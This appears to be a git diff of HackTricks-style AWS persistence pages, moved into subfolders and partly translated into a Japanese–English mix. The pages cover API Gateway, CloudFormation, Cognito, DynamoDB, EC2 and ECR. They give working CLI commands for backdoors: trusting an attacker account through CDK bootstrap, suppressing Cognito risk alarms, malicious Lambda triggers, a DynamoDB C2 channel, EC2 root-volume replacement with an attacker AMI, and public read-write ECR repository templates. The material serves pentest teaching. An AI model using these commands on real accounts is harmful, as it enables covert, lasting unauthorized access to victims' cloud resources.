Translated ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum-

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md

@@ -1,32 +0,0 @@
-# AWS - API Gateway Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-詳細については、次のリンクを参照してください：
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### Resource Policy
-
-APIゲートウェイのリソースポリシーを変更して、自分にアクセス権を付与します。
-
-### Modify Lambda Authorizers
-
-ラムダオーソライザーのコードを変更して、すべてのエンドポイントへのアクセス権を付与します。\
-または、オーソライザーの使用を単に削除します。
-
-### IAM Permissions
-
-リソースがIAMオーソライザーを使用している場合、IAM権限を変更して自分にアクセス権を付与できます。\
-または、オーソライザーの使用を単に削除します。
-
-### API Keys
-
-APIキーが使用されている場合、持続性を維持するためにそれらを漏洩させるか、新しいものを作成できます。\
-または、APIキーの使用を単に削除します。
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md

@@ -0,0 +1,32 @@
+# AWS - API Gateway Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+For more information go to:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### リソースポリシー
+
+Modify the resource policy of the API gateway(s) to grant yourself access to them
+
+### Lambda Authorizers の変更
+
+Modify the code of lambda authorizers to grant yourself access to all the endpoints.\  
+Or just remove the use of the authorizer.
+
+### IAM Permissions
+
+If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\  
+Or just remove the use of the authorizer.
+
+### API Keys
+
+If API keys are used, you could leak them to maintain persistence or even create new ones.\  
+Or just remove the use of API keys.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md

@@ -1,23 +0,0 @@
-# AWS - Cloudformation Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFormation
-
-詳細情報については、次にアクセスしてください：
-
-{{#ref}}
-../aws-services/aws-cloudformation-and-codestar-enum.md
-{{#endref}}
-
-### CDK Bootstrap Stack
-
-AWS CDKは、`CDKToolkit`というCFNスタックをデプロイします。このスタックは、外部アカウントが被害者アカウントにCDKプロジェクトをデプロイできるようにするパラメータ`TrustedAccounts`をサポートしています。攻撃者は、AWS cliを使用してパラメータでスタックを再デプロイするか、AWS CDK cliを使用して、被害者アカウントへの無期限のアクセスを自分に付与するためにこれを悪用できます。
-```bash
-# CDK
-cdk bootstrap --trust 1234567890
-
-# AWS CLI
-aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md

@@ -0,0 +1,23 @@
+# AWS - Cloudformation Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFormation
+
+For more information, access:
+
+{{#ref}}
+../../aws-services/aws-cloudformation-and-codestar-enum.md
+{{#endref}}
+
+### CDK Bootstrap Stack
+
+AWS CDKは`CDKToolkit`というCFNスタックをデプロイします。このスタックは`TrustedAccounts`というパラメータをサポートしており、外部アカウントが被害者アカウントにCDKプロジェクトをデプロイすることを許可します。攻撃者はこれを悪用して、パラメータを指定してスタックを再デプロイするためにAWS cliを使うか、あるいはAWS CDK cliを使って、被害者アカウントへの無期限のアクセスを自身に付与することができます。
+```bash
+# CDK
+cdk bootstrap --trust 1234567890
+
+# AWS CLI
+aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md

@@ -1,40 +0,0 @@
-# AWS - Cognito Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-詳細情報については、以下にアクセスしてください：
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### ユーザーの永続性
-
-Cognitoは、認証されていないユーザーと認証されたユーザーに役割を与え、ユーザーのディレクトリを制御するサービスです。いくつかの異なる設定を変更して永続性を維持することができます。例えば：
-
-- **ユーザープール**をユーザーが制御する**アイデンティティプール**に追加する
-- 認証されていないアイデンティティプールに**IAMロールを付与し、基本認証フローを許可する**
-- 攻撃者がログインできる場合は**認証されたアイデンティティプール**に
-- または与えられたロールの**権限を向上させる**
-- **属性を制御されたユーザーまたは新しいユーザーを作成、検証、権限昇格**する**ユーザープール**内で
-- **外部アイデンティティプロバイダー**がユーザープールまたはアイデンティティプールにログインできるようにする
-
-これらのアクションを実行する方法を確認してください
-
-{{#ref}}
-../aws-privilege-escalation/aws-cognito-privesc.md
-{{#endref}}
-
-### `cognito-idp:SetRiskConfiguration`
-
-この権限を持つ攻撃者は、リスク設定を変更して、Cognitoユーザーとして**アラームがトリガーされることなく**ログインできるようにすることができます。[**CLIを確認してください**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) すべてのオプションを確認するために：
-```bash
-aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
-```
-デフォルトでは、これは無効になっています：
-
-<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md

@@ -0,0 +1,40 @@
+# AWS - Cognito Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+For more information, access:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### ユーザー永続化
+
+Cognito は、unauthenticated および authenticated users に roles を付与し、ユーザーのディレクトリを管理するサービスです。永続性を維持するために変更できる設定はいくつかあり、例えば:
+
+- **Adding a User Pool** をユーザーが制御する形で Identity Pool に追加する
+- unauthenticated Identity Pool に **IAM role を付与し、Basic auth flow を許可する**
+- あるいは攻撃者がログイン可能な場合は **authenticated Identity Pool** に対して同様の操作を行う
+- または与えられたロールの **permissions を向上** させる
+- **Create, verify & privesc** を、属性を制御する既存ユーザーや **User Pool** の新規ユーザー経由で行う
+- **Allowing external Identity Providers** からのログインを User Pool または Identity Pool に対して許可する
+
+これらの操作のやり方は以下を参照してください
+
+{{#ref}}
+../../aws-privilege-escalation/aws-cognito-privesc/README.md
+{{#endref}}
+
+### `cognito-idp:SetRiskConfiguration`
+
+この権限を持つ攻撃者は、リスク設定を変更して Cognito ユーザーとしてログインできるようにし、**アラームが発生しないように**することが可能です。 [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
+```bash
+aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
+```
+デフォルトではこれは無効になっています:
+
+<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md

@@ -1,59 +0,0 @@
-# AWS - DynamoDB Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### DynamoDB
-
-詳細情報は以下にアクセスしてください：
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-### DynamoDB トリガーと Lambda バックドア
-
-DynamoDB トリガーを使用することで、攻撃者はテーブルに悪意のある Lambda 関数を関連付けることによって **ステルスバックドア** を作成できます。アイテムが追加、変更、または削除されると Lambda 関数がトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行することができます。
-```bash
-# Create a malicious Lambda function
-aws lambda create-function \
---function-name MaliciousFunction \
---runtime nodejs14.x \
---role <LAMBDA_ROLE_ARN> \
---handler index.handler \
---zip-file fileb://malicious_function.zip \
---region <region>
-
-# Associate the Lambda function with the DynamoDB table as a trigger
-aws dynamodbstreams describe-stream \
---table-name TargetTable \
---region <region>
-
-# Note the "StreamArn" from the output
-aws lambda create-event-source-mapping \
---function-name MaliciousFunction \
---event-source <STREAM_ARN> \
---region <region>
-```
-持続性を維持するために、攻撃者はDynamoDBテーブル内のアイテムを作成または変更することができ、これにより悪意のあるLambda関数がトリガーされます。これにより、攻撃者はLambda関数との直接的なやり取りなしにAWSアカウント内でコードを実行することができます。
-
-### DynamoDBをC2チャネルとして使用する
-
-攻撃者は、コマンドを含むアイテムを作成し、侵害されたインスタンスやLambda関数を使用してこれらのコマンドを取得および実行することにより、DynamoDBテーブルを**コマンドおよび制御（C2）チャネル**として使用することができます。
-```bash
-# Create a DynamoDB table for C2
-aws dynamodb create-table \
---table-name C2Table \
---attribute-definitions AttributeName=CommandId,AttributeType=S \
---key-schema AttributeName=CommandId,KeyType=HASH \
---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
---region <region>
-
-# Insert a command into the table
-aws dynamodb put-item \
---table-name C2Table \
---item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
---region <region>
-```
-侵害されたインスタンスやLambda関数は、定期的にC2テーブルをチェックして新しいコマンドを取得し、それを実行し、オプションで結果をテーブルに報告することができます。これにより、攻撃者は侵害されたリソースに対して持続性と制御を維持することができます。
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md

@@ -0,0 +1,59 @@
+# AWS - DynamoDB 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### DynamoDB
+
+詳細は以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### DynamoDB トリガーによる Lambda Backdoor
+
+DynamoDB トリガーを利用して、攻撃者はテーブルに悪意ある Lambda function を関連付けることで、**stealthy backdoor** を作成できます。Lambda function は、item が追加、変更、または削除されたときにトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行できます。
+```bash
+# Create a malicious Lambda function
+aws lambda create-function \
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role <LAMBDA_ROLE_ARN> \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region <region>
+
+# Associate the Lambda function with the DynamoDB table as a trigger
+aws dynamodbstreams describe-stream \
+--table-name TargetTable \
+--region <region>
+
+# Note the "StreamArn" from the output
+aws lambda create-event-source-mapping \
+--function-name MaliciousFunction \
+--event-source <STREAM_ARN> \
+--region <region>
+```
+persistence を維持するために、attacker は DynamoDB テーブル内の項目を作成または変更して悪意のある Lambda function をトリガーできます。これにより、attacker は Lambda function と直接やり取りすることなく、AWS アカウント内で code を実行できます。
+
+### DynamoDB を C2 Channel として
+
+attacker は、コマンドを含む項目を作成し、侵害されたインスタンスや Lambda functions を使ってこれらのコマンドを取得して実行することで、DynamoDB テーブルを **command and control (C2) channel** として利用できます。
+```bash
+# Create a DynamoDB table for C2
+aws dynamodb create-table \
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region <region>
+
+# Insert a command into the table
+aws dynamodb put-item \
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region <region>
+```
+侵害されたインスタンスや Lambda 関数は定期的に C2 テーブルをチェックして新しいコマンドを取得し、それを実行し、必要に応じて結果をテーブルに報告できます。これにより攻撃者は侵害されたリソースに対する persistence と制御を維持できます。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md

@@ -1,54 +0,0 @@
-# AWS - EC2 Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### セキュリティグループ接続追跡持続性
-
-防御者が**EC2インスタンスが侵害された**ことを発見した場合、彼はおそらく**ネットワーク**を**隔離**しようとするでしょう。彼は明示的な**Deny NACL**を使用することができます（ただし、NACLはサブネット全体に影響します）、または**セキュリティグループを変更して**、**いかなる種類のインバウンドまたはアウトバウンド**トラフィックも許可しないようにします。
-
-攻撃者が**マシンから発生したリバースシェル**を持っていた場合、SGがインバウンドまたはアウトバウンドトラフィックを許可しないように変更されても、**接続は**[**セキュリティグループ接続追跡**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**のために切断されません。**
-
-### EC2ライフサイクルマネージャー
-
-このサービスは**AMIとスナップショットの作成をスケジュール**し、他のアカウントと**共有する**ことを可能にします。\
-攻撃者は**すべてのイメージまたはすべてのボリュームのAMIまたはスナップショットの生成を**毎週**スケジュール**し、**自分のアカウントと共有**することができます。
-
-### スケジュールされたインスタンス
-
-インスタンスを毎日、毎週、または毎月実行するようにスケジュールすることが可能です。攻撃者は高い権限または興味深いアクセスを持つマシンを実行することができます。
-
-### スポットフリートリクエスト
-
-スポットインスタンスは**通常のインスタンスよりも安価**です。攻撃者は**5年間の小さなスポットフリートリクエストを**起動することができ、**自動IP**割り当てと、スポットインスタンスが**起動したときに攻撃者に送信する**ユーザーデータを持ち、**高権限のIAMロール**を持つことができます。
-
-### バックドアインスタンス
-
-攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます：
-
-- 伝統的な**ルートキット**を使用する例
-- 新しい**公開SSHキー**を追加する（[EC2特権昇格オプション](../aws-privilege-escalation/aws-ec2-privesc.md)を確認）
-- **ユーザーデータ**にバックドアを仕掛ける
-
-### **バックドア起動構成**
-
-- 使用されるAMIにバックドアを仕掛ける
-- ユーザーデータにバックドアを仕掛ける
-- キーペアにバックドアを仕掛ける
-
-### VPN
-
-攻撃者がVPCに直接接続できるようにVPNを作成します。
-
-### VPCピアリング
-
-被害者のVPCと攻撃者のVPCの間にピアリング接続を作成し、攻撃者が被害者のVPCにアクセスできるようにします。
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md

@@ -0,0 +1,62 @@
+# AWS - EC2 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+詳細については次を参照してください：
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### Security Group Connection Tracking の永続化
+
+防御側が **EC2 instance was compromised** と判明した場合、通常はそのマシンの **network** を **isolate** しようとします。これは明示的な **Deny NACL**（ただし NACLs はサブネット全体に影響します）や、**changing the security group** によって **any kind of inbound or outbound** トラフィックを許可しないようにすることで実行できます。
+
+攻撃者がマシンから発生した **reverse shell originated from the machine** を持っていた場合、SG が inboud または outbound トラフィックを許可しないように変更されても、[**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** により接続は切断されません。**
+
+### EC2 Lifecycle Manager
+
+このサービスは **schedule** を設定して **creation of AMIs and snapshots** を行い、さらには **share them with other accounts** することも可能です。\
+攻撃者はすべてのイメージやすべてのボリュームの **generation of AMIs or snapshots** を毎週行うよう設定し、**share them with his account** といったことができます。
+
+### Scheduled Instances
+
+インスタンスを daily、weekly、または monthly にスケジュールして実行することが可能です。攻撃者は高権限や興味深いアクセスを持つマシンをスケジュール実行し、そこからアクセスすることができます。
+
+### Spot Fleet Request
+
+Spot instances は通常のインスタンスより **cheaper** です。攻撃者は例えば **small spot fleet request for 5 year** のようなリクエストを立て、**automatic IP** 割当てと、起動時に攻撃者へ **when the spot instance start** と **IP address** を送信する **user data**、さらに **high privileged IAM role** を付与することができます。
+
+### Backdoor Instances
+
+攻撃者はインスタンスへアクセスし、バックドアを仕込むことができます：
+
+- 例えば従来型の **rootkit** を使用する
+- 新しい **public SSH key** を追加する（参照: [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md)）
+- **User Data** をバックドア化する
+
+### **Backdoor Launch Configuration**
+
+- Backdoor the used AMI
+- Backdoor the User Data
+- Backdoor the Key Pair
+
+### EC2 ReplaceRootVolume Task (Stealth Backdoor)
+
+実行中のインスタンスのルート EBS ボリュームを、攻撃者管理下の AMI や snapshot から作成したものに置き換えるために `CreateReplaceRootVolumeTask` を使用します。インスタンスは ENIs、IPs、role を保持したまま起動するため、外見上は変わらずに悪意あるコードでブートします。
+
+{{#ref}}
+../aws-ec2-replace-root-volume-persistence/README.md
+{{#endref}}
+
+### VPN
+
+攻撃者が VPC に直接接続できるようにするため、VPN を作成します。
+
+### VPC Peering
+
+被害者 VPC と攻撃者 VPC の間に peering connection を作成し、攻撃者が被害者 VPC にアクセスできるようにします。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md

@@ -0,0 +1,75 @@
+# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+稼働中のインスタンスのルート EBS ボリュームを、攻撃者が管理する AMI または snapshot から復元したボリュームと差し替えるために **ec2:CreateReplaceRootVolumeTask** を悪用します。インスタンスは自動的に再起動され、ENIs、プライベート/パブリック IP、アタッチされた非ルートボリューム、およびインスタンスのメタデータ/IAM ロールを保持したまま、攻撃者管理下のルートファイルシステムで起動し直します。
+
+## 要件
+- 対象インスタンスが EBS-backed で、同じリージョンで稼働していること。
+- 互換性のある AMI または snapshot：ターゲットインスタンスと同じアーキテクチャ／仮想化方式／ブートモード（および該当する場合は product codes）であること。
+
+## 事前チェック
+```bash
+REGION=us-east-1
+INSTANCE_ID=<victim instance>
+
+# Ensure EBS-backed
+aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text
+
+# Capture current network and root volume
+ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
+ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
+ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
+```
+## AMIからルートを置き換える（推奨）
+```bash
+IMAGE_ID=<attacker-controlled compatible AMI>
+
+# Start task
+TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)
+
+# Poll until state == succeeded
+while true; do
+STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
+echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
+done
+```
+スナップショットを使用する代替方法：
+```bash
+SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
+aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
+```
+## 証拠 / 検証
+```bash
+# Instance auto-reboots; network identity is preserved
+NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+
+# Compare before vs after
+printf "ENI:%s IP:%s
+ORIG_VOL:%s
+NEW_VOL:%s
+" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
+
+# (Optional) Inspect task details and console output
+aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
+aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
+```
+期待される動作: ENI_ID と PRI_IP は同じままで、root volume ID は $ORIG_VOL から $NEW_VOL に変わります。システムは攻撃者が制御する AMI/snapshot からのファイルシステムで起動します。
+
+## 注記
+- API はインスタンスを手動で停止する必要はありません；EC2 が再起動をオーケストレーションします。
+- デフォルトでは、置き換えられた（古い）root EBS volume はデタッチされてアカウント内に残されます（DeleteReplacedRootVolume=false）。これはロールバックに使用できるか、コストを避けるために削除する必要があります。
+
+## ロールバック / クリーンアップ
+```bash
+# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
+# you can create a snapshot and replace again from it:
+SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
+aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
+aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
+
+# Or simply delete the detached old root volume if not needed:
+aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md

@@ -1,91 +0,0 @@
-# AWS - ECR Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### 悪意のあるコードを含む隠れたDockerイメージ
-
-攻撃者は**悪意のあるコードを含むDockerイメージ**をECRリポジトリにアップロードし、ターゲットAWSアカウントでの持続性を維持するために使用することができます。攻撃者は、その後、Amazon ECSやEKSなど、アカウント内のさまざまなサービスに悪意のあるイメージをステルス方式でデプロイすることができます。
-
-### リポジトリポリシー
-
-自分自身（または全員）にリポジトリへのアクセスを付与するポリシーを単一のリポジトリに追加します：
-```bash
-aws ecr set-repository-policy \
---repository-name cluster-autoscaler \
---policy-text file:///tmp/my-policy.json
-
-# With a .json such as
-
-{
-"Version" : "2008-10-17",
-"Statement" : [
-{
-"Sid" : "allow public pull",
-"Effect" : "Allow",
-"Principal" : "*",
-"Action" : [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-> [!WARNING]
-> ECRを使用するには、ユーザーがIAMポリシーを通じて**`ecr:GetAuthorizationToken`** APIを呼び出す**権限**を持っている必要があります。これにより、レジストリに認証し、任意のAmazon ECRリポジトリから画像をプッシュまたはプルできます。
-
-### レジストリポリシーとクロスアカウントレプリケーション
-
-クロスアカウントレプリケーションを設定することで、外部アカウントにレジストリを自動的にレプリケートすることが可能です。この際、レジストリをレプリケートしたい**外部アカウント**を**指定する**必要があります。
-
-<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
-
-まず、外部アカウントに対して、次のような**レジストリポリシー**を使用してレジストリへのアクセスを付与する必要があります。
-```bash
-aws ecr put-registry-policy --policy-text file://my-policy.json
-
-# With a .json like:
-
-{
-"Sid": "asdasd",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::947247140022:root"
-},
-"Action": [
-"ecr:CreateRepository",
-"ecr:ReplicateImage"
-],
-"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
-}
-```
-その後、レプリケーション設定を適用します:
-```bash
-aws ecr put-replication-configuration \
---replication-configuration file://replication-settings.json \
---region us-west-2
-
-# Having the .json a content such as:
-{
-"rules": [{
-"destinations": [{
-"region": "destination_region",
-"registryId": "destination_accountId"
-}],
-"repositoryFilters": [{
-"filter": "repository_prefix_name",
-"filterType": "PREFIX_MATCH"
-}]
-}]
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md

@@ -0,0 +1,145 @@
+# AWS - ECR Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+詳細は次を参照:
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### 隠された Docker Image（Malicious Code を含む）
+
+攻撃者は**upload a Docker image containing malicious code**をECR repositoryにアップロードし、ターゲットのAWSアカウントでpersistenceを維持するために利用する可能性があります。攻撃者はその後、悪意あるimageをAmazon ECSやEKSなどアカウント内の様々なサービスにステルスにdeployすることができます。
+
+### リポジトリポリシー
+
+単一のリポジトリに対して、自分（または全員）にそのリポジトリへのアクセスを許可するポリシーを追加する:
+```bash
+aws ecr set-repository-policy \
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
+
+# With a .json such as
+
+{
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+> [!WARNING]
+> ECR は、ユーザーがレジストリに認証し、任意の Amazon ECR リポジトリからイメージを push または pull する前に、IAM ポリシーを通じて **`ecr:GetAuthorizationToken`** API を呼び出すための **権限** を持っている必要があることに注意してください。
+
+### レジストリポリシー & クロスアカウントレプリケーション
+
+cross-account replication を構成することで、外部アカウントにレジストリを自動的にレプリケートすることが可能で、その際にはレプリケート先の **外部アカウントを指定** する必要があります。
+
+<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
+
+まず、次のような **レジストリポリシー** を使って外部アカウントにレジストリへのアクセスを付与する必要があります:
+```bash
+aws ecr put-registry-policy --policy-text file://my-policy.json
+
+# With a .json like:
+
+{
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+}
+```
+次に、レプリケーション設定を適用します:
+```bash
+aws ecr put-replication-configuration \
+--replication-configuration file://replication-settings.json \
+--region us-west-2
+
+# Having the .json a content such as:
+{
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
+}
+```
+### Repository Creation Templates (prefix backdoor for future repos)
+
+ECR Repository Creation Templates を悪用して、制御されたプレフィックスの下で ECR が自動作成する任意のリポジトリに自動的に backdoor を仕込みます（例：Pull-Through Cache や Create-on-Push を介して）。これにより、既存のリポジトリに触れることなく将来のリポジトリに対する継続的な不正アクセスが得られます。
+
+- 必要な権限: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy（テンプレートで使用）, iam:PassRole（テンプレートにカスタムロールが添付されている場合）
+- 影響: 対象プレフィックスの下で作成される新しいリポジトリは、攻撃者が制御するリポジトリポリシー（例：cross-account read/write）、タグの変更可否、スキャンのデフォルト設定を自動的に継承します。
+
+<details>
+<summary>Backdoor future PTC-created repos under a chosen prefix</summary>
+```bash
+# Region
+REGION=us-east-1
+
+# 1) Prepare permissive repository policy (example grants everyone RW)
+cat > /tmp/repo_backdoor_policy.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BackdoorRW",
+"Effect": "Allow",
+"Principal": {"AWS": "*"},
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer",
+"ecr:InitiateLayerUpload",
+"ecr:UploadLayerPart",
+"ecr:CompleteLayerUpload",
+"ecr:PutImage"
+]
+}
+]
+}
+JSON
+
+# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
+aws ecr create-repository-creation-template   --region $REGION   --prefix ptc2   --applied-for PULL_THROUGH_CACHE   --image-tag-mutability MUTABLE   --repository-policy file:///tmp/repo_backdoor_policy.json
+
+# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
+#    This example caches from Amazon ECR Public namespace "nginx"
+aws ecr create-pull-through-cache-rule   --region $REGION   --ecr-repository-prefix ptc2   --upstream-registry ecr-public   --upstream-registry-url public.ecr.aws   --upstream-repository-prefix nginx
+
+# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
+acct=$(aws sts get-caller-identity --query Account --output text)
+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+
+docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
+
+# 5) Validate the backdoor policy was applied on the newly created repository
